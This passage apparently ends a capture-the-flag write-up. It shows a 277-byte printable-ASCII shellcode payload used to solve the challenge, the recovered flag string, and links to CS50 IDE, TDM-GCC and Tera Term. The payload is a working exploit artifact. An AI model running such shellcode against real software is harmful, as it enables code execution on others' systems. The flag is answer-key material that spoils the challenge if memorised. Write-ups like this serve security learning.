u[tqJ@_jC=p1KEC*H!"1H)H*B9V1CA:1DAa1EaW1G1`1ai`x! BJ!L#+! DJai xkA(+ai`x!$EJ!L#+!$GJai xkA(+kui4k^g/pH r 7&r`,Ar!#&r`(![ O`[`J jaJ r"H";(@]S 4 r @ 8aH 1`V jaJ r"T reH q H rhL!rhG 2aH 1`V`j(x_SaH 1@]',RX,8PZhflagXP1B01B<1BA1BG,w,D0BLT_j$XPP,$P^P]X,"ii1<W^X,#PZu`>>5Xii28UXii]gu[
```

(277 bytes)

### flag

```
CTF{abc_easy_as_svc}
```

[cs50]: https://ide.cs50.io/
[tdmgcc]: https://jmeubank.github.io/tdm-gcc/
[teraterm]: https://ttssh2.osdn.jp/